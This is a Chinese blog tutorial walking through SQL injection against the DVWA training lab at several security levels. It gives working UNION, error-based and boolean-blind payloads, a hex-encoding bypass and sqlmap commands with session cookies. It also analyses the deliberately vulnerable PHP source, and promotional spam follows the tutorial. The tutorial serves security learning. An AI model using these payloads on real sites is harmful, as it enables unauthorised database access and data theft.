网络安全-靶机dvwa之sql注入Low到High详解(含代码分析)_dvwa sql注入低中高代码分析(5)

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

注入点判断

获取表名

Error注入

源码分析

步骤

漏洞原因

SQL Injection-HIGH

Union注入

注入点检测

字段判断

获取表名

Error注入

源码解析

主要步骤

漏洞原因

SQL Injection(Blind)-LOW

Boolean盲注

获取数据库名

sqlmap

获取数据库名

获取表名

获取列名

获取数据

源码解析

主要步骤

漏洞原因

SQL Injection(Blind)-MIDIUM

Boolean盲注

手工

sqlmap

源码解析

主要步骤

漏洞原因

SQL Injection(Blind)-HIGH

手工注入

sqlmap

源码分析

主要步骤

漏洞原因

IMPOSSIBLE

非盲注

主要步骤

安全原因

盲注

medium级别 Error注入 和 Boolean盲注脚本


本篇文章,针对靶机dvwa(Damn Vulnerable Web Application)中的SQL Injection、SQL Injection(Blind)的LOW、MIDIUM、HIGH安全级别使用网络安全-SQL注入原理及防御SQL注入中提到的SQL注入技术,利用网络安全-Mysql注入知识点中提到的数据库函数,使用手工/sqlmap进行sql注入。并根据网络安全-php安全知识点对LOW、MIDIUM、HIGH、IMPOSSIBLE安全级别的代码进行解释。对于非盲注使用UNION注入、ERROR注入、对于盲注,使用BOOLEAN注入和sqlmap,TIME注入耗时太久,没有采用。

目标:获取用户名等感兴趣的信息

SQL Injection-LOW

正常提交payload为1

正常页面

Union注入

注入点判断
1 and 1=1#

返回正常

1 and 1=2#

返回正常

结论:不是数字型注入。

1' and 1=1#

返回正常

1' and 1=2#

没有结果返回

页面异常

结论:字符型注入,单引号闭合

sql语句猜测

First name即回显的First name在数据库中对应的字段,Surname同理

假设表名为users,User ID 对应的字段为id

select First name,Surname from users where id = ‘User ID’

字段判断

猜测是2个字段,直接从2开始。

1' order by 2#

返回正常

再递增

1' order by 3#

返回异常

异常页面

结论:猜测正确,字段为2

获取数据库名
1' UNION SELECT 1,database() from information_schema.schemata#

数据库名

结论:数据库名 dvwa

获取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

表名

结论:有两个表 guestbook、users

获取列名

假设仅对users表感兴趣,其他表只需要把下面的users改为其他即可。

1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

列名

结论:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login

获取数据

假设:first_name、last_name已返回,我们对user和avatar感兴趣。对其他的感兴趣下面就缓存其他列。

为了避免分不清各个数据,使用":",即0x3a进行分隔。

1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#

数据

user:admin对应的avatar:/dvwa/hackable/users/admin.jpg,以此类推。

Error注入

注入点判断、字段判断和Union注入一样。当前数据库就不写了,用database()函数代替。使用updatexml()函数进行错误注入。

获取表名

0x7e是,这样报错的结果就是sql语句运行结果~。

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

第一张表

同理,获取第二张表只需将上面payload改为limit 1,1即可,不再赘述。

获取列名
1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#

第一个列名

同理,获取第二列只需将上面payload改为limit 1,1即可,其余列继续增加,不再赘述。

获取数据
1' and updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1)#

第一条数据

同理,获取第二条数据只需将上面payload改为limit 1,1即可,其余数据继续增加,不再赘述。

源码解析

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 
主要步骤
  • isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
  • 得到用户提交的数据 id
  • 利用用户数据拼接成sql语句query
  • 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
  • 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
  • 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有进行敏感字符过滤

SQL Injection-MIDIUM

正常页面

url上没有参数,是post方式,下拉框进行选择,只能抓包了。

Union

注入点判断

payload和LOW级别的Union注入一样,不再赘述,有问题下方评论。

正常

异常

结论:数字型,无需闭合

字段判断、获取数据库与LOW一致,不必闭合,由在客户端提交,改为在burpsuite中提交。

例如,数据库判断,其他类似,不再赘述。

id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit

数据库

获取表名
1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

'被转义

发现单引号被转义

工具BEJSON,进行字符转16进制,注意,工具没有加0x,需要自行添加。

dvwa转16进制

1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#

即’dvwa’转为16进制的dvwa 0x64767761

16进制绕过

后序步骤类似,将字符转为16进制即可。

Error注入

通过上面的Union注入可知,相对于LOW而言,不必闭合,由在客户端提交,改为在burpsuite中提交。

例如,获取表名:

id=1 and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&Submit=Submit

获取第一张表

后序步骤与LOW级别类似,遇到单引号时,即需要填写表名时通过16进制进行绕过,不再赘述,有问题下方评论。

源码分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 
步骤
  • isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
  • 得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
  • 利用用户数据拼接成sql语句query
  • 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
  • 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
  • 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,仅成功过滤了’,属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。

SQL Injection-HIGH

正常页面

点击按钮弹出窗口,然后再填写数据。

Union注入

注入点检测
1' and 1=1#

正常

1' 1=2#

异常

结论:字符型注入,需要闭合,闭合字符为 ’ ,当然,在这之前我也尝试了数字型,为了避免文章篇幅过长,不再赘述。

字段判断
1'order by 2#

字段为2没问题

1' order by 3

异常

不是数据库的出错提示,估计是使用了or die函数进行的自定义提示,这样的话估计不能使用Error注入。

结论:字段为2

获取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#

表名

这…不做了,除了弹个框,和LOW级别的payload一样啊,感觉没有加什么,我以为会有些过滤,需要绕过的。。。不再赘述了。

Error注入

注入点判断、字段判断和Union注入一样。当前数据库就不写了,用database()函数代替。使用updatexml()函数进行错误注入。

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

失败

果然,不能使用Error注入,应该是使用了or die函数。接下来看源代码吧。

源码解析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 
主要步骤
  • isset检测Session中的id变量是否已设置并且非 NULL
  • 得到用户提交的数据 id
  • 利用用户数据拼接成sql语句query,id当做字符串
  • 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错,错误是自定义的
  • 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
  • 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

想要利用session和自定义错误返回来增加安全系数,成功的躲过了Error注入方式

SQL Injection(Blind)-LOW

正常提交,payload为1

正常返回

没有回显,采用盲注

Boolean盲注

注入点判断、字段判断和Union注入一样。

获取数据库名

先获取长度

1' and length(database())>3#

正确

1' and length(database())>4#

错误

结论:数据库名长度>3但不>4,即数据库长度为4。

依次判断4个字符

1' and substr(database(),1,1)='a'#

错误

第一个字符不是a,上图的url是进行了编码,网上找了个工具,进行了解码,可以看出就是上面的payload

解码

替换为字符d

1' and substr(database(),1,1)='d'#

字符d时返回正确。

正确

其余的类似,不再赘述。 实际上做时,会写脚本或使用sqlmap,不然工作量太大,写脚本也不会按照ASCII表去一个个的尝试,可以先判断字符是不是字母,然后再二分查找之类的。

接下来使用sqlmap进行展示,有关sqlmap的知识可以查看:网络安全-sqlmap学习笔记

sqlmap

先获取cookie备用,按F12,控制台输入 document.cookie

cookie

"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"
获取数据库名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch

获取数据库名

还是脚本快,1秒解决。sqlmap使用的是mid函数,和substr一样,可以查看网络安全-Mysql注入知识点

结论:数据库名 dvwa

获取表名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch

获取数据库名

结论:dvwa数据库有2个表,guestbook、users

获取列名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch

获取所有列

结论:见上图,不手打了。

获取数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch

获取数据

还有个csv,里面和cmd窗口显示的一致。

源码解析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
主要步骤
  • isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
  • 得到用户提交的数据 id
  • 利用用户数据拼接成sql语句getid
  • 使用mysqli_query函数执行sql语句并返回结果给result,删除“or die”来抑制mysql错误
  • 使用@mysqli_num_rows函数获取结果集的数量给变量num,通过@来抑制mysql错误
  • 若num>0,输出“User ID exists in the database.”,否则输出”User ID is MISSING from the database.“
漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有进行敏感字符过滤

SQL Injection(Blind)-MIDIUM

正常

和MIDDLE级别的非盲注一样,使用了下拉框,是post方式,另外,没有回显。

Boolean盲注

注入点判断,字段判断与非盲注一样

注入点是数字型的,不必闭合。

手工

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA靶机中的SQL注入是一种安全漏洞,攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制,从而获取未授权的访问权限或者获取敏感信息。根据引用[1]和引用[2]中提到的内容,DVWA靶机中的SQL注入分为不同的安全级别,包括Low、Medium、High和Blind注入。 在Low级别的SQL注入中,攻击者可以通过在输入框中输入特定的SQL语句来绕过应用程序的验证,从而执行恶意操作。在Medium级别的SQL注入中,应用程序对输入进行了一定的过滤,但仍存在一些漏洞可以被攻击者利用。在High级别的SQL注入中,应用程序对输入进行了更严格的过滤,但仍然存在一些漏洞可以被攻击者利用。 在Blind注入中,攻击者无法直接获取注入结果,但可以通过构造特定的SQL语句来判断条件是否成立,从而获取敏感信息。Blind注入可以分为不同的级别,包括Low、Medium和High级别。 为了进行SQL注入攻击,攻击者可以使用手工方法或者工具如sqlmap。手工方法需要攻击者具备一定的SQL注入知识和技巧,而工具如sqlmap可以自动化执行注入攻击,提攻击效率。 为了防御SQL注入攻击,开发人员应该对用户输入进行严格的验证和过滤,使用参数化查询或预编译语句来防止SQL注入攻击。此外,还可以限制数据库用户的权限,避免敏感信息的泄露。 根据引用[3]中的结论,可以通过使用sqlmap工具来获取DVWA靶机中的数据库名和表名。具体的命令可以参考引用[3]中提供的示例。 总之,DVWA靶机中的SQL注入是一种常见的安全漏洞,攻击者可以通过构造恶意的SQL语句来绕过应用程序的验证和过滤机制,获取未授权的访问权限或者敏感信息。开发人员应该采取相应的防御措施来保护应用程序的安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值